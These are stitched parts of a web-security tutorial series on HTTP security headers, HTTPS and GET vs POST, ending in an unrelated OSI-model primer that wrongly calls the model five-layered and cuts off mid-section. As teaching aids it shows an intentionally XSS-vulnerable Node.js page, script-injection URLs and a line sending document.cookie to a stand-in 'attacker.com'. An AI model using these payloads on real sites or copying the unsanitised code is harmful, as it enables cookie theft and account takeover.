HTTP Public Key Pinning is a mechanism that allows us to advertise to the browser which SSL certificates to expect whenever it connects to our servers. It is a trust on first use header, just like HSTS, meaning that, once the client connects to our server, it will store the certificate’s info for subsequent interactions. If, at any point in time, the client detects that another certificate is being used by the server, it will politely refuse to connect, rendering man in the middle (MITM) attacks very hard to pull off.

This is how a HPKP policy looks like:

Public-Key-Pins:  pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu=";  pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3=";  max-age=3600; includeSubDomains;  report-uri="https://pkpviolations.example.org/collect"

The header advertises what certificates the server will use (in this case it’s two of them) using a hash of the certificates, and includes additional information such as the time-to-live of this directive (max-age=3600), and a few other details. Sadly, there’s no point in digging deeper to understand what we can do with public key pinning, as this feature is being deprecated by Chrome - a signal that its adoption is destined to plummet very soon.

Chrome’s decision is not irrational, but simply a consequence of the risks associated with public key pinning. If you lose your certificate, or simply make a mistake while testing, your website will be inaccessible to users that have visited the website earlier (for the duration of the max-age directive, which is typically weeks or months).

As a result of these potentially catastrophic consequences, adoption of HPKP has been extremely low, and there have been incidents where big-time websites have been unavailable because of a misconfiguration. All considered, Chrome decided users were better off without the protection offered by HPKP - and security researchers aren’t entirely against this decision.

Expect-CT

While HPKP has been deprecated, a new header stepped in to prevent fraudulent SSL certificates from being served to clients: Expect-CT.

The goal of this header is to inform the browser that it should perform additional “background checks” to ensure the certificate is genuine: when a server uses the Expect-CT header, it is fundamentally requesting the client to verify that the certificates being used are present in public Certificate Transparency (CT) logs.

The Certificate Transparency initiative is an effort led by Google in order to provide:

An open framework for monitoring and auditing SSL certificates in nearly real time.

Specifically, Certificate Transparency makes it possible to detect SSL certificates that have been mistakenly issued by a certificate authority or maliciously acquired from an otherwise unimpeachable certificate authority. It also makes it possible to identify certificate authorities that have gone rogue and are maliciously issuing certificates.

Source: https://www.certificate-transparency.org/

The header takes this form:

Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report"

In this example, the server is asking the browser to:

• enable CT verification for the current app for a period of 1 hour (3600 seconds)
• enforce this policy and prevent access to the app if a violation occurs
• send a report to the given URL if a violation occurs

The Certificate Transparency initiative’s goal is to detect mis-issued or malicious certificates (and rogue Certificate Authorities) earlier, faster, and more precisely than any other method used before.

By opting-in using the Expect-CT header, you can take advantage of this initiative to improve your app’s security posture.

X-Frame-Options

Imagine seeing a web page such as this popping in front of your screen:

As soon as you click on the link, you realize that all the money in your bank account is gone. What happened?

You were a victim of a clickjacking attack.

An attacker directed you to their website, which displays a very attractive link to click. Unfortunately, he also embedded in the page an iframe from your-bank.com/transfer?amount=-1&[[attacker@gmail.com]](https://odino.org/cdn-cgi/l/email-protection) but hid it by setting it’s opacity to 0%. What then happened is that thought of clicking on the original page, trying to win a brand-new hummer, but instead the browser captured a click on the iframe, a dangerous click that confirmed the transfer of money.

Most banking systems require you to specify a one-time PIN code to confirm transactions, but your bank didn’t catch up with times and all of your money is gone.

The example is pretty extreme but should let you understand what could be the consequences of a clickjacking attack. The user intends to click on a particular link, while the browser will trigger a click on the “invisible” page that’s been embedded as an iframe.

I have included an example of this vulnerability at github.com/odino/wasec/tree/master/clickjacking. If you run the example and try clicking on the “appealing” link, you will see the actual click is intercepted by the iframe, which increases its opacity so that’s easier for you to spot the problem. The example should be accessible at [http://localhost:7888](http://localhost:7888:).

Luckily, browsers have come up with a simple solution to the problem: X-Frame-Options (XFO) which lets you decide whether your app can be embedded as an iframe on external websites. Popularized by Internet Explorer 8, XFO was first introduced in 2009 and is still supported by all major browsers.

The way it works is, when a browser sees an iframe, it loads it and verifies that its XFO allows its inclusion in the current page before rendering it.

The supported values are:

• DENY: this web page cannot be embedded anywhere. This is the highest level of protection as it doesn’t allow anyone to embed our content.
• SAMEORIGIN: only pages from the same domain as the current one can embed this page. This means that example.com/embedder can load example.com/embedded so long as its policy is set to SAMEORIGIN. This is a more relaxed policy that allows owners of a particular website to embed their own pages across their application.
• ALLOW-FROM uri: embedding is allowed from the specified URI. We could, for example, let an external, authorized website embed our content by using ALLOW-FROM https://external.com. This is generally used when you intend to allow a 3rd party to embed your content through an iframe

An example HTTP response that includes the strictest XFO policy possible looks like:

HTTP/1.1 200 OKContent-Type: application/jsonX-Frame-Options: DENY

...

In order to showcase how browsers behave when XFO is enabled, we can simply change the URL of our example to http://localhost:7888/?xfo=on. The xfo=on parameter tells the server to include X-Frame-Options: deny in the response, and we can see how the browser restricts access to the iframe:

XFO was considered the best way to prevent frame-based clickjacking attacks until another header came into play years later, Content Security Policy or CSP for short.

Content Security Policy (CSP)

The Content-Security-Policy header, often abbreviated to CSP, provides a next-generation utility belt for preventing a plethora of attacks, ranging from XSS (Cross-site Scripting) to clickjacking.

To understand how CSP helps us, we should first think of an attack vector. Let’s say we just built our own Google Search, a simple input text with a submit button.

This web application does nothing magical. It just,

• displays a form
• lets the user execute a search
• displays the search results alongside with the keyword the user searched for

When we execute a simple search, this is what the application returns:

Amazing! Our application incredibly understood our search and found a related image. If we dig deeper in the source code, available at github.com/odino/wasec/tree/master/xss, we will soon realize that the application presents a security issue, as whatever keyword the user searches for is directly printed in the HTML response served to the client:

var qs = require('querystring')var url = require('url')var fs = require('fs')

require('http').createServer((req, res) => {  let query = qs.parse(url.parse(req.url).query)  let keyword = query.search || ''  let results = keyword ? `You searched for "${keyword}", we found:</br>&lt;img src="http://placekitten.com/200/300" />` : `Try searching...`

res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results))}).listen(7888)

<html>  <body>    <h1>Search The Web</h1>    <form>      <input type="text" name="search" value="__KEYWORD__" />      <input type="submit" />    </form>    <div id="results">      __RESULTS__    </div>  </body></html>

This presents a nasty consequence. An attacker can craft a specific link that executes arbitrary JavaScript within the victims browser.

If you have the time and patience to run the example locally, you will be able to quickly understand the power of CSP. I’ve added a query string parameter that turns CSP on, so we can try navigating to a malicious URL with CSP turned on:

http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on

As you see in the example above, we have told the browser that our CSP policy only allows scripts included from the same origin of the current URL, which we can easily verify by curling the URL and viewing the response header:

$ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on"

HTTP/1.1 200 OKX-XSS-Protection: 0Content-Security-Policy: default-src 'self'Date: Sat, 11 Aug 2018 10:46:27 GMTConnection: keep-alive

Since the XSS attack was perpetrated through an inline script (a script directly embedded in the HTML content), the browser politely refused to execute it, keeping our user safe. Imagine if, instead of simply displaying an alert dialog, the attacker would have set up a redirect to its own domain, through some JavaScript code that could look like:

window.location = `attacker.com/${document.cookie}`

They would have been able to steal all of the user’s cookies, which might contain highly sensitive data (more on this in the next article).

By now, it should be clear how CSP helps us prevent a range of attacks on web applications. You define a policy and the browser will strictly adhere to it, refusing to run resources that would violate the policy.

An interesting variation of CSP is the report-only mode. Instead of using the Content-Security-Policy header, you can first test the impact of CSP on your website by telling the browser to simply report errors, without blocking script execution and so on, by using the Content-Security-Policy-Report-Only header.

Reporting will allow you to understand what breaking changes the CSP policy you’d like to roll out might cause, and fix them accordingly. We can even specify a report URL and the browser will send us a report. Here’s a full example of a report-only policy:

Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector

CSP policies can be a bit complex on their own, such as in the following example:

Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com

This policy defines the following rules:

• executable scripts (eg. JavaScript) can only be loaded from scripts.example.com
• images may be loaded from any origin (img-src: *)
• video or audio content can be loaded from two origins: medias.example.com and medias.legacy.example.com

As you can see, policies can become lengthy, and if we want to ensure the highest protection for our users this can become quite a tedious process. Nevertheless, writing a comprehensive CSP policy is an important step towards adding an additional layer of security to our web applications.

For more information around CSP I would recommend a deep dive at developer.mozilla.org/en-US/docs/Web/HTTP/CSP.

X-XSS-Protection

Although superseded by CSP, the X-XSS-Protection header provides a similar type of protection. This header is used to mitigate XSS attacks in older browsers that don’t fully support CSP. This header is not supported by Firefox.

Its syntax is very similar to what we’ve just seen:

X-XSS-Protection: 1; report=http://xssviolations.example.com/collector

Reflected XSS is the most common type of attack, where an unsanitized input gets printed by the server without any validation, and it’s where this header truly shines. If you want to see this yourself, I would recommend to try out the example at github.com/odino/wasec/tree/master/xss as, by appending xss=on to the URL, it shows what a browser does when XSS protection is turned on. If we enter a malicious string in our search box, such as <script>alert('hello')<;/script>, the browser will politely refuse to execute the script, and explain the reasoning behind its decision:

The XSS Auditor refused to execute a script in'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on'because its source code was found within the request.The server sent an 'X-XSS-Protection' header requesting this behavior.

Even more interesting is Chrome’s default behavior when the webpage does not specify any CSP or XSS policy, a scenario we can test by adding the xss=off parameter to our URL (http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off):

Amazing, Chrome’s cautious enough that it will prevent the page from rendering, making reflected XSS very difficult to pull off. It’s impressive to see how far browsers have come.

Feature policy

In July 2018, security researcher Scott Helme published a very interesting blog post detailing a new security header in the making: Feature-Policy.

Currently supported by very few browsers (Chrome and Safari at the time of this writing), this header lets us define whether a specific browser feature is enabled within the current page. With a syntax very similar to CSP, we should have no issue understanding what a feature policy such as the following one means:

Feature-Policy: vibrate 'self'; push *; camera 'none'

If we still have a few doubts about how this policy impacts the browser APIs available to the page, we can simply dissect it:

• vibrate 'self': this will allow the current page to use the vibration API and any nested browsing contexts (iframes) on the same origin
• push *: the current page and any iframe can use the push notification API
• camera 'none': access to the camera API is denied to the current page and any nested context (iframes)

The feature policy might have a short history, but it doesn’t hurt to get a head start. If your website allows users to, for example, take a selfie or record audio, it would be quite beneficial to use a policy that restricts other contexts from accessing the API through your page.

X-Content-Type-Options

Sometimes, clever browser features end up hurting us from a security standpoint. A clear example is MIME-sniffing, a technique popularized by Internet Explorer.

MIME-sniffing is the ability, for a browser, to auto-detect (and fix) the content type of a resource it is downloading. For example, we ask the browser to render an image at /awesome-picture.png, but the server sets the wrong type when serving it to the browser (for example, Content-Type: text/plain). This would generally result in the browser not being able to display the image properly.

In order to fix the issue, IE went to great lengths to implement a MIME-sniffing capability: when downloading a resource, the browser would “scan” it and, if it would detect that the resource’s content type is not the one advertised by the server in the Content-Type header, it would ignore the type sent by the server and interpret the resource according to the type detected by the browser.

Now, imagine hosting a website that allows users to upload their own images, and imagine a user uploading a /test.jpg file that contains JavaScript code. See where this is going? Once the file is uploaded, the site would include it in its own HTML and, when the browser would try to render the document, it would find the “image” the user just uploaded. As the browser downloads the image, it would detect that it’s a script instead, and execute it on the victim’s browser.

To avoid this issue, we can set the X-Content-Type-Options: nosniff header that completely disables MIME-sniffing: by doing so, we are telling the browser that we’re fully aware that some file might have a mismatch in terms of type and content, and the browser should not worry about it. We know what we’re doing, so the browser shouldn’t try to guess things, potentially posing a security threat to our users.

Cross-Origin Resource Sharing (CORS)

On the browser, through JavaScript, HTTP requests can only be triggered across the same origin. Simply put, an AJAX request from example.com can only connect to example.com.

This is because your browser contains useful information for an attacker - cookies, which are generally used to keep track of the user’s session. Imagine if an attacker would set up a malicious page at win-a-hummer.com that immediately triggers an AJAX request to your-bank.com. If you’re logged in on the bank’s website, the attacker would then be able to execute HTTP requests with your credentials, potentially stealing information or, worse, wiping your bank account out.

There might be some cases, though, that require you to execute cross-origin AJAX requests, and that is the reason browsers implement Cross Origin Resource Sharing (CORS), a set of directives that allow you to execute cross-domain requests.

The mechanics behind CORS is quite complex, and it won’t be practical for us to go over the whole specification, so I am going to focus on a “stripped down” version of CORS.

All you need to know, for now, is that by using the Access-Control-Allow-Origin header, your application tells the browser that it’s ok to receive requests from other origins.

The most relaxed form of this header is Access-Control-Allow-Origin: *, which allows any origin to access our application, but we can restrict it by simply adding the URL we want to whitelist with Access-Control-Allow-Origin: [https://example.com](https://example.com.).

If we take a look at the example at github.com/odino/wasec/tree/master/cors we can clearly see how the browser prevents access to a resource on a separate origin. I have set up the example to make an AJAX request from test-cors to test-cors-2, and print the result of the operation to the browser. When the server behind test-cors-2 is instructed to use CORS, the page works as you would expect. Try navigating to [http://cors-test:7888/?cors=on](http://cors-test:7888/?cors=on:)

But when we remove the cors parameter from the URL, the browser intervenes and prevents us from accessing the content of the response:

An important aspect we need to understand is that the browser executed the request, but prevented the client from accessing it. This is extremely important, as it still leaves us vulnerable if our request would have triggered any side effect on the server. Imagine, for example, if our bank would allow the transfer of money by simply calling the url my-bank.com/transfer?amount=1000&from=me&to=attacker. That would be a disaster!

As we’ve seen at the beginning of this article, GET requests are supposed to be idempotent, but what would happen if we tried triggering a POST request? Luckily, I’ve included this scenario in the example, so we can try it by navigating to [http://cors-test:7888/?method=POST](http://cors-test:7888/?method=POST:):

Instead of directly executing our POST request, which could potentially cause some serious trouble on the server, the browser sent a “preflight” request. This is nothing but an OPTIONS request to the server, asking it to validate whether our origin is allowed. In this case, the server did not respond positively, so the browser stops the process, and our POST request never reaches the target.

This tells us a couple things:

• CORS is not a simple specification. There are quite a few scenarios to keep in mind and you can easily get tangled in the nuances of features such as preflight requests.
• Never expose APIs that change state via GET. An attacker can trigger those requests without a preflight request, meaning there’s no protection at all

Out of experience, I found myself more comfortable with setting up proxies that can forward the request to the right server, all on the backend, rather than using CORS. This means that your application running at example.com can setup a proxy at example.com/_proxy/other.com, so that all requests falling under _proxy/other.com/* get proxied to other.com.

I will conclude my overview of this feature here but, if you’re interested in understanding CORS in depth, MDN has a very lengthy article that brilliantly covers the whole specification at developer.mozilla.org/en-US/docs/Web/HTTP/CORS.

X-Permitted-Cross-Domain-Policies

Very much related to CORS, the X-Permitted-Cross-Domain-Policies targets cross domain policies for Adobe products (namely Flash and Acrobat).

I won’t go much into the details, as this is a header that targets very specific use cases. Long story short, Adobe products handle cross-domain request through a crossdomain.xml file in the root of the domain the request is targeting, and the X-Permitted-Cross-Domain-Policies defines policies to access this file.

Sounds complicated? I would simply suggest to add an X-Permitted-Cross-Domain-Policies: none and ignore clients wanting to make cross-domain requests with Flash.

Referrer-Policy

At the beginning of our careers, we all probably made the same mistake. Use the Referer header to implement a security restriction on our website. If the header contains a specific URL in a whitelist we define, we’re going to let users through.

Ok, maybe that wasn’t every one of us. But I damn sure made this mistake back then. Trusting the Referer header to give us reliable information on the origin the user comes from. The header was really useful until we figured that sending this information to sites could pose a potential threat to our users’ privacy.

Born at the beginning of 2017 and currently supported by all major browsers, the Referrer-Policy header can be used to mitigate these privacy concerns by telling the browser that it should only mask the URL in the Referer header, or omit it altogether.

Some of the most common values the Referrer-Policy can take are:

• no-referrer: the Referer header will be entirely omitted
• origin: turns https://example.com/private-page to [https://example.com/](https://example.com/)
• same-origin: send the Referer to same-site origins but omit it for anyone else

It’s worth noting that there are a lot more variations of the Referrer-Policy (strict-origin, no-referrer-when-downgrade, etc) but the ones I mentioned above are probably going to cover most of your use cases. If you wish to better understand each and every variation you can use, I would recommend heading to the OWASP dedicated page.

The Origin header is very similar to the Referer, as it’s sent by the browser in cross-domain requests to make sure the caller is allowed to access a resource on a different domain. The Origin header is controlled by the browser, so there’s no way malicious users can tamper with it. You might be tempted to use it as a firewall for your web application: if the Origin is in our whitelist, let the request go through.

One thing to consider, though, is that other HTTP clients such as cURL can present their own origin: a simple curl -H "Origin: example.com" api.example.com will render all origin-based firewall rules inefficient… …and that is why you cannot rely on the Origin (or the Referer, as we’ve just seen) to build a firewall to keep malicious clients away.

Testing your security posture

I want to conclude this article with a reference to securityheaders.com, an incredibly useful website that allows you to verify that your web application has the right security-related headers in place. After you submit a URL, you will be handed a grade and a breakdown, header by header. Here’s an example report for facebook.com:

If in doubt on where to start, securityheaders.com is a great place to get a first assessment.

Stateful HTTP: managing sessions with cookies

This article should have introduced us to a few interesting HTTP headers, allowing us to understand how they harden our web applications through protocol-specific features, together with a bit of help from mainstream browsers.

In the next post, we will delve deep into one of the most misunderstood features of the HTTP protocol: cookies.

Born to bring some sort of state to the otherwise stateless HTTP, cookies have probably been used (and misused) by each and everyone of us in order to support sessions in our web apps: whenever there’s some state we’d like to persist it’s always easy to say “store it in a cookie”. As we will see, cookies are not always the safest of vaults and must be treated carefully when dealing with sensitive information.

Originally published at odino.org (23 August 2018).
_You can follow me on Twitter — rants are welcome!_ ?

This is part 2 of a series on web security: part 1 was “Understanding The Browser”

HTTP is a thing of beauty: a protocol that has survived longer than 20 years without changing much.

As we’ve seen in the previous article, browsers interact with web applications through the HTTP protocol, and this is the main reason we’re drilling down on the subject. If users would enter their credit card details on a website and an attacker would be able to intercept the data before it reaches the server, we would definitely be in trouble.

Understanding how HTTP works, how we can secure the communication between clients and servers, and what security-related features the protocol offers is the first step towards improving our security posture.

When discussing HTTP, though, we should always discern between the semantics and technical implementation, as they’re two very different aspects of how HTTP works.

The key difference between the two can be explained with a very simple analogy: 20 years ago people cared about their relatives as much as they do now, even though the way they interact has substantially changed. Our parents would probably take their car and head over to their sister’s in order to catch up and spend some family time together.

Instead, these days it’s more common to drop a message on WhatsApp, make a phone call or use a Facebook group, things that weren’t possible earlier on. This is not to say that people communicate or care more or less, but simply that the way they interact changed.

HTTP is no different: the semantics behind the protocol hasn’t changed much, while the technical implementation of how clients and servers talk to each other has been optimized over the years. If you look at an HTTP request from 1996 it will look very similar to the ones we saw in the previous article, even though the way those packets fly through the network is very different.

Overview

As we’ve seen before, HTTP follows a request/response model, where a client connected to the server issues a request, and the server replies back to it.

An HTTP message (either a request or a response) contains multiple parts:

• “first line”
• headers
• body

In a request, the first line indicates the verb used by the client, the path of the resource it wants as well as the version of the protocol it is going to use:

GET /players/lebron-james HTTP/1.1

In this case, the client is trying to GET the resource at /players/lebron-james through version 1.1 of the protocol - nothing hard to understand.

After the first line, HTTP allows us to add metadata to the message through headers, which take the form of key-value pairs, separated by a colon:

GET /players/lebron-james HTTP/1.1Host: nba.comAccept: */*Coolness: 9000

In this request, for example, the client has attached 3 additional headers to the request: Host, Accept and Coolness.

Wait, Coolness?!?!

Headers do not have to use specific, reserved names, but it’s generally recommended to rely on the ones standardized by the HTTP specification: the more you deviate from the standards, the less the other party in the exchange will understand you.

Cache-Control is, for example, a header used to define whether (and how) a response is cacheable: most proxies and reverse proxies understand it as they follow the HTTP specification to the letter. If you were to rename your Cache-Control header to Awesome-Cache-Control, proxies would have no idea on how to cache the response anymore, as they’re not built to follow the specification you just came up with.

Sometimes, though, it might make sense to include a “custom” header into the message, as you might want to add metadata that is not really part of the HTTP spec: a server could decide to include technical information in its response, so that the client can, at the same time, execute requests and get important information regarding the status of the server that’s replying back:

...X-Cpu-Usage: 40%X-Memory-Available: 1%...

When using custom headers, it is always preferred to prefix them with a key so that they do not conflict with other headers that might become standard in the future: historically, this has worked well until everyone started to use “non-standard” X prefixes which, in turn, became the norm. The X-Forwarded-For and X-Forwarded-Proto headers are examples of custom headers that are widely used and understood by load balancers and proxies, even though they weren’t part of the HTTP standard.

If you need to add your own custom header, nowadays it’s generally better to use a vendored prefix, such as Acme-Custom-Header or A-Custom-Header.

After the headers, a request might contain a body, which is separated from the headers by a blank line:

POST /players/lebron-james/comments HTTP/1.1Host: nba.comAccept: */*Coolness: 9000

Best Player Ever

Our request is complete: first line (location and protocol information), headers and body. Note that the body is completely optional and, in most cases, it’s only used when we want to send data to the server — that is why the example above uses the verb POST.

A response is not very different:

HTTP/1.1 200 OKContent-Type: application/jsonCache-Control: private, max-age=3600

{"name": "Lebron James", "birthplace": "Akron, Ohio", ...}

The first information the response advertises is the version of the protocol it uses, together with the status of this response. Headers follow suit and, if required, a line break followed by the body.

As mentioned, the protocol has undergone numerous revisions and has added features over time (new headers, status codes, etc), but the underlying structure hasn’t changed much (first line, headers, and body). What really changed is how client and servers are exchanging those messages — let’s take a closer look at that.

HTTP vs HTTPS vs H2

HTTP has seen 2 considerable semantic changes: HTTP/1.0 and HTTP/1.1.

“Where are HTTPS and HTTP2?”, you ask.

HTTPS and HTTP2 (abbreviated as H2) are more of technical changes, as they introduced new ways to deliver messages over the internet, without heavily affecting the semantics of the protocol.

HTTPS is a “secure” extension to HTTP and involves establishing a common secret between a client and a server, making sure we’re communicating with the right party and encrypting messages that are exchanged with the common secret (more on this later). While HTTPS was aimed at improving the security of the HTTP protocol, H2 was geared towards bringing light-speed to it.

H2 uses binary rather than plaintext messages, supports multiplexing, uses the HPACK algorithm to compress headers… …long story short, H2 is a performance boost to HTTP/1.1.

Websites owners were reluctant to switch to HTTPS since it involved additional round-trips between client and server (as mentioned, a common secret needs to be established between the 2 parties), thus slowing the user experience down: with H2, which is encrypted by default, there are no more excuses, as features such as multiplexing and server push make it perform better than plain HTTP/1.1.

HTTPS

HTTPS (HTTP Secure) aims to let clients and servers talk securely through TLS (Transport Layer Security), the successor to SSL (Secure Socket Layer).

The problem that TLS targets is fairly simple, and can be illustrated with one simple metaphor: your better half calls you in the middle of the day, while you’re in a meeting, and asks you to tell them the password of your online banking account, as they need to execute a bank transfer to ensure your son’s schooling fees are paid on time. It is critical that you communicate it right now, else you face the prospect of your kid being turned away from school the following morning.

You are now faced with 2 challenges:

• authentication: ensuring you’re really talking to your better half, as it could just be someone pretending to be them
• encryption: communicating the password without your coworkers being able to understand it and note it down

What do you do? This is exactly the problem that HTTPS tries to solve.

In order to verify who you’re talking to, HTTPS uses Public Key Certificates, which are nothing but certificates stating the identity behind a particular server: when you connect, via HTTPS, to an IP address, the server behind that address will present you its certificate for you to verify their identity. Going back to our analogy, this could simply be you asking your better half to spell their social security number. Once you verify the number is correct, you gain an additional level of trust.

This, though, does not prevent “attackers” from learning the victim’s social security number, stealing your soulmate’s smartphone and calling you. How do we verify the identity of the caller?

Rather than directly asking your better half to spell their social security number, you make a phone call to your mom instead (who happens to live right next door) and ask her to go to your apartment and make sure your better half is spelling their social security number. This adds an additional level of trust, as you do not consider your mom a threat, and rely on her to verify the identity of the caller.

In HTTPS terms your mom’s called a CA, short for Certificate Authority: a CA’s job is to verify the identity behind a particular server, and issue a certificate with its own digital signature: this means that, when I connect to a particular domain, I will not be presented a certificate generated by the domain’s owner (called self-signed certificate), but rather by the CA.

An authority’s job is to make sure they verify the identity behind a domain and issue a certificate accordingly: when you “order” a certificate (commonly known as SSL certificate, even though nowadays TLS is used instead - names really stick around!), the authority might give you a phone call or ask you to change a DNS setting in order to verify you’re in control of the domain in question. Once the verification process is completed, it will issue the certificate that you can then install on your webservers.

Clients like browsers will then connect to your servers and be presented with this certificate, so that they can verify it looks genuine: browsers have some sort of “relationship” with CAs, in the sense that they keep track of a list of trusted CAs in order to verify that the certificate is really trustworthy. If a certificate is not signed by a trusted authority, the browser will display a big, informative warning to the users:

We’re halfway through our road towards securing the communication between you and your better half: now that we’ve solved authentication (verifying the identity of the caller) we need to make sure we can communicate safely, without others eavesdropping in the process. As I mentioned, you’re right in the middle of a meeting and need to spell your online banking password. You need to find a way to encrypt your communication, so that only you and your soulmate will be able to understand your conversation.

You can do this by establishing a shared secret between the two of you, and encrypt messages through that secret: you could, for example, decide to use a variation of Caesar cipher based on the date of your wedding.

This would work well if both parties have an established relationship, like yourself and your soulmate, as they can create a secret based on a shared memory no one else has knowledge of. Browsers and servers, though, cannot use the same kind of mechanism as they have no prior knowledge of each other.

Variations of the Diffie-Hellman key exchange protocol are used instead, which ensure parties without prior knowledge establish a shared secret without anyone else being able to “sniff” it. This involves using a bit of math, an exercise left to the reader.

Once the secret is established, a client and a server can communicate without having to fear that someone might intercept their messages. Even if attackers do so, they will not have the common secret that’s necessary to decrypt the messages.

For more information on HTTPS and Diffie-Hellman, I would recommend reading “How HTTPS secures connections” by Hartley Brody and “How does HTTPS actually work?” by Robert Heaton. In addition, “Nine Algorithms That Changed The Future” has an amazing chapter that explains Public-key encryption, and I warmly recommend it to Computer Science geeks interested in ingenious algorithms.

HTTPS everywhere

Still debating whether you should support HTTPS on your website? I don’t have good news for you: browsers have started pushing users away from websites not supporting HTTPS in order to “force” web developers towards providing a fully encrypted browsing experience.

Behind the motto “HTTPS everywhere”, browsers started to take a stand against unencrypted connections - Google was the first browser vendor who gave web developers a deadline by announcing that starting with Chrome 68 (July 2018) it would mark HTTP websites as “not secure”:

Even more worrying for websites not taking advantage of HTTPS is the fact that, as soon as the user inputs anything on the webpage, the “Not secure” label turns red - a move that should encourage users to think twice before exchanging data with websites that don’t support HTTPS.

Compare this to how a website running on HTTPS and equipped with a valid certificate looks like:

In theory, a website does not have to be secure, but in practice, this scares users away - and rightfully so. Back in the day, when H2 was not a reality, it could have made sense to stick to unencrypted, plain HTTP traffic. Nowadays there’s almost no reason to do so. Join the HTTPS everywhere movement and help make the web a safer place for surfers.

GET vs POST

As we’ve seen earlier, an HTTP request starts with a peculiar first line:

First and foremost, a client tells the server what verbs it is using to perform the request: common HTTP verbs include GET, POST, PUT and DELETE, but the list could go on with less common (but still standard) verbs such as TRACE, OPTIONS, or HEAD.

In theory, no method is safer than others; in practice, it’s not that simple.

GET requests usually don’t carry a body, so parameters are included in the URL (ie. www.example.com/articles?article_id=1) whereas POST requests are generally used to send (“post”) data which is included in the body. Another difference is in the side effects that these verbs carry with them: GET is an idempotent verb, meaning no matter how many requests you will send, you will not change the state of the webserver. POST, instead, is not idempotent: for every request you send you might be changing the state of the server (think of, for example, POSTing a new payment — now you probably understand why sites ask you not to refresh the page when executing a transaction).

To illustrate an important difference between these methods we need to have a look at webservers’ logs, which you might already be familiar with:

192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:39:47 +0000] "GET /?token=1234 HTTP/1.1" 200 525 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" 404 0.002 [example-local] 172.17.0.8:9090 525 0.002 200192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:40:47 +0000] "GET / HTTP/1.1" 200 525 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" 393 0.004 [example-local] 172.17.0.8:9090 525 0.004 200192.168.99.1 - [192.168.99.1] - - [29/Jul/2018:00:41:34 +0000] "PUT /users HTTP/1.1" 201 23 "http://example.local/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36" 4878 0.016 [example-local] 172.17.0.8:9090 23 0.016 201

As you see, webservers log the request path: this means that, if you include sensitive data in your URL, it will be leaked by the webserver and saved somewhere in your logs - your secrets are going to be somewhere in plaintext, something we need to absolutely avoid. Imagine an attacker being able to gain access to one of your old log files, which could contain credit card information, access tokens for your private services and so on: that would be a total disaster.

Webservers do not log HTTP headers or bodies, as the data to be saved would be too large - this is why sending information through the request body, rather than the URL, is generally safer. From here we can derive that POST (and similar, non-idempotent methods) is safer than GET, even though it’s more a matter of how data is sent when using a particular verb rather than a specific verb being intrinsically safer than others: if you were to include sensitive information in the body of a GET request, then you’d face no more problems than when using a POST, even though the approach would be considered unusual.

In HTTP headers we trust

In this article we looked at HTTP, its evolution and how its secure extension integrates authentication and encryption to let clients and servers communicate through a safe(r) channel: this is not all HTTP has to offer in terms of security.

As we’ll see in the next article, HTTP security headers offer a way to improve our application’s security posture, and the next post is dedicated to understanding how to take advantage of them.

Originally published at odino.org (22 August 2018).
_You can follow me on Twitter - rants are welcome!_ ?

Get to know the Open Systems Interconnection model

Overview

Throughout this series, we will be tackling the basics such as:
(Part 1) How does DNS work?
(Part 2) Network Stack, OSI Model [You are here!]
(Part 3) HTTP Methods and Formats
(Part 4) Client Identification
(Part 5) Basic/Digest Authentication
(Part 6) HTTPS working with SSL/TLS

OSI Model

The Open Systems Interconnection (OSI) Model is a standardized model for telecommunication in computer systems. It does not regard the underlying technology, but instead the layers involved in communication. Let us explore the different layers within the OSI Model:

Typical 5-layered OSI Model

1. Application Layer

This layer allows applications to communicate over the network once the connection has been established, such as from the Web Browser (Application) to the Server. Examples of protocols in this layer include HTTP and TELNET.

HyperText Transfer Protocol (HTTP)

A set of rules for transferring files over the Internet. For example, when you enter the URL into the browser, the browser sends an HTTP request for the webpage. The host would then return the webpage, together with all the elements that are within, such as images, text, videos, styling fonts, etc.

2. Transport Layer

This layer is responsible for the host-to-host communication of messages. Examples of protocols in this layer include TCP and UDP.

Transmission Control Protocol (TCP)

The most common connection-oriented protocol. It defines how to establish and maintain a network conversation. It is responsible for establishing a connection (called a socket) between the client and the host in a 3-way handshake.

The user requesting the data will send a SYN data packet to the server, requesting synchronization. The server will then respond with a SYN-ACK to the user, indicating that it has acknowledged the data packet, and would like to connect as well. The connection is hence established when the user sends the last ACK to the server.

TCP is the most common due to its elegance, in which it is able to offer the following:

Connection-oriented communication
Establish a handshake protocol between end-points to ensure connection before data is exchanged, and transmit as a data stream (data packets).

Reliability
Using checksums, it ensures that the data packets transmitted and received are the same. If there are missing/corrupted packets, it will request for re-transmission of the data packets by sending a NACK message to the sender.

Order
The data packets are numbered and transmitted. As such, TCP will ensure that the received packets are re-ordered before delivering the application.

Flow Control
The rate of data transmission is regulated to improve efficiency while preventing buffer overruns/underruns, where data is sent faster than the receiver is able to process it, and vice versa.
The mechanics behind it are explained below in the TCP Slow Start section.

Multiplexing
Basically, it is able to send over multiple streams of information concurrently over the same socket. These are done through different ports on the socket. We will discuss the differences between Multiplexing and Pipelining further along in the article.

User Datagram Protocol (UDP)

